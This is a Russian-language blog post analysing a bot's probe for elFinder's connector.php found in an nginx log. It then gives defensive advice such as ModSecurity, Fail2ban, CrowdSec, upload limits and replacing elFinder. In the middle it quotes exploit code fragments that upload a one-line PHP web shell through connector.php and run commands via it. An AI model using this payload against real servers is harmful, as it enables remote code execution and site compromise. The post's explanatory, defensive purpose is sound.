elfinder
elfinder
Категория: Разработка Теги: Уязвимости Опубликовано: 11 июля 2023

Что за атака /plugins/ elfinder/ php/ connector.php

Начнем с того, что я нашел в логе nginx такую запись (сайт не этот):

['194.38.21.214 - - [19/May/2023:07:40:12 +0300] "GET /plugins/elfinder/php/connector.php HTTP/1.0" 404 18977 "-" "ALittle Client"\n', False]

Что пытался сделать злоумышленник? 

Безусловно, этот запрос направлен не вручную, а через специального бота на Go, который называется "ALittle Client". Однако, управляет им человек, поэтому для упрощения я буду говорить именно про этого злоумышленника.

ALittle Client обычно ищит файлы, которые говорят о взломе сайта. Некоторый зловредный код распространяется без обратного соединения, чтобы обойти средства защиты. Именно на этот случай и нужны подобные боты. Бот поможет найти скомпрометированную машину, а полезная нагрузка на следущем этапе сценарии вообще не проблема.

Разберём HTTP-запрос

Строка 404 после запроса в кавычках говорит о том, что запрашиваемый файл не существует и соответственно ему вернулся статус 404 Not found. На самом деле, сам по себе статус 404 не означает, что вектор атаки не сработал - тут нужно повторить запрос и посмотреть, не добавилось ли что-то лишнее в запрос, а в случае со слепыми XSS (Blind XSS) вектор атаки может сработать не в том месте, где ввели команду.

IP-адрес злоумышленника 194.38.21.214 и он принадлежит Дата-центру SmartMediaNetwork, который находится в Киеве, Украина.

Сам запрос "GET /plugins/elfinder/php/connector.php HTTP/1.0" говорит о том, что потенциальный злоумышленник хочет проверить наличие файла connector.php по указанному в запросе пути.

В базе AbuseIPDB указано, что данного уже было более 842 атаки на другие сайты.

Технические детали

Сам по себе путь /plugins/elfinder/php/connector.php говорит о том, что злоумышленник пытается найти следы интеграции файлового менеджера с открытым исходным кодом для интернета, написанного на JavaScript с использованием jQuery. 

Скорее всего это попытка найти файл и в случае успешного поиска проэксплуатировать уязвимость еще от 2015 года. К слову, elfinder уже около четырех лет не обновлялся.

Так вот, уязвимость эта не имеет CVE, но легко позволяет удаленно выполнить код. 

Вот пример урла из эксплоита 

opener.open('http://'+host+'/'+path+'/php/connector.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')

в переменной host хранится доменное имя, а в переменной path путь до этого файла. Собрать возможные пути не проблема, достаточно набрать в поиске по github. Как не трудно догадаться в evilfile хранится имя вредоносного файла, который требуется запустить.

Однако, как туда попадёт этот вредоносный файл? Легко. В представленном запросе используется GET, а в этом же эксплоите можно направить при помощи POST запроса этот же файл:

evilfile = raw_input('\x20\x20EvilFileName:')
payload = urllib.urlencode({
'cmd' : 'put',
'target' : 'l1_'+evilfile.encode('base64','strict'),
'content' : '<?php passthru($_GET[\'cmd\']); ?>'
})

write = opener.open('http://'+host+'/'+path+'/php/connector.php', payload)

Также этот эксплоит позволяет передачу команд и просмотр напечатанных результатов:

execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
print reverse;

Если посмотреть другие атаки с этого IP-адреса в базе abuseipdb, то становится ясно, что имеет место поиск уязвимых или зараженных сайтов для последующего взлома.

Как защитить веб-сервер?

Немного информации

Скорее всего злоумышленник выполнял сканирование веб-приложения на наличие уязвимостей, используя инструменты для автоматического сканирования уязвимостей.

Любой админ скажет, что реагировать на такие записи в журнале не нужно, но любой опытный пентестер скажет, что реагировать на такие записи в журнале нужно!

Автоматические сканирования на наличие уязвимостей веб-серверов ботами со всего мира - это не просто неприятное явление, но и серьезная угроза для безопасности веб-сервера. Согласно отчету, опубликованному в 2019 году, боты составляют около 37,2% всего трафика Интернета, и это число продолжает расти. Боты, сканирующие веб-серверы, могут искать уязвимости, которые можно использовать для получения несанкционированного доступа к серверу или к данным, которые он содержит.

Теперь скажите честно, последней ли версии у вас всё ПО и библиотеки как на веб-сервере, так и в самом сайте? Уверен, что у большинства будут далеко не последние версии, так как при обновлении много придется настраивать заново. Пора задуматься и понять, что риск не равен нулю.

С чего начинается атака хакера или пентестера на веб-сервер? 

Первым этапом является именно OSINT, но если упростить, то сначала ему нужно собрать информацию. Все прочие виды атак мы опустим, так как тут речь идет о конкретной. В данном случае, злоумышленник собирает информацию о сайте и сервере из открытых источников.

Далее через кучу прокси-серверов сканирует сервер на наличие уязвимостей. При таком сканировании на сервер отправляет множество запросов, но фишка в том, что он использует целый пул прокси-серверов, поэтому каждый 1-2 запроса выполняются с разных IP-адресов. Однако, при частых сканированиях они все будут присутствовать в спам базах.

Если его сканер найдет уязвимость, тогда злоумышленник уже сам будет производить атаку, хотя некоторые так называемые сканирования выполняли через пентестерский фреймворк metasploit методом check.

Рекомендации по противодействию атакам на веб-сервер

Для защиты от автоматических сканирований наличия уязвимостей веб-серверов ботами со всего мира, рекомендуется использовать следующие технические меры защиты на nginx или apache:

  1. Установка модуля ModSecurity: ModSecurity - это модуль для HTTP-сервера Apache, который позволяет обнаруживать и предотвращать атаки на веб-приложения. Он может блокировать запросы, которые соответствуют известным атакам, а также запросы, которые слишком часто повторяются, что может указывать на сканирование.
  2. Использование Fail2ban: Fail2ban - это программное обеспечение, которое может анализировать логи веб-сервера и блокировать IP-адреса, которые слишком часто отправляют запросы на сервер. Это может предотвратить сканирование и другие виды атак на сервер.
  3. Использование CrowdSec: CrowdSec - это бесплатный open source-инструмент для выявления и блокировки вредоносных IP-адресов на основе шаблонов их поведения. Он умеет подключать индивидуальные бан-листы, настроенные администраторами, а также использовать общие бан-листы, в формировании которых принимают участие пользователи CrowdSec.
  4. Настройка Cloudflare или его аналога: Cloudflare - это сервис, который может использоваться в качестве прокси-сервера для вашего веб-сайта. Он может блокировать запросы от известных ботов и других источников нежелательного трафика, а также предоставлять другие инструменты защиты.
  5. Необходимо настроить ограничения на загрузку файлов по их размеру и расширению.
  6. При использовании elfinder лучше перейти на другой файловый менеджер, так как он уже давно не обновляется, а значит содержит потенциальные уязвимости. Если в данный момент это невозможно, тогда необходимо переписать код, переместив данный файл по уникальному пути. Либо переименовать файл и заменить все его упоминания. Однако, это костыль.

Важно блокировать автоматические сканирования на наличие уязвимостей веб-серверов ботами со всего мира, чтобы защитить данные и обеспечить безопасность веб-сервера. Использование рекомендуемых технических мер защиты поможет предотвратить сканирование и другие виды атак, которые могут привести к серьезным последствиям для вашего веб-сервера.

В качестве дополнительных рекомендаций можно назвать весьма очевидные вещи:

  1. Обновлять все используемое ПО на веб-сервере и на промежуточных устройствах до последних версий.
  2. Обновлять используемые веб-приложениями библиотеки до последних версий.
  3. Производить сканирование на наличие уязвимостей доступными средствами (в Kali Linux для этого множество инструментов).
  4. Использовать средства для аудита кода на безопасность (например, Codacy, Codeac, deepcode или SonarCloud).
  5. Отслеживать новые уязвимости в Vulners - Vulnerability DataBase, NATIONAL VULNERABILITY DATABASE и в Банке данных угроз безопасности информации.
  6. В идеале нужно установить WAF, но такие продукты очень дорогие, а бесплатные неэффективны.

Также можно рассмотреть блокировку посетителей из других стран при помощи GeoIP, но в спорных территориях могут быть неправильные определения, а также необходимо сделать исключения для пула адресов поисковых роботов Google и Bing.

Алексей Черемных
887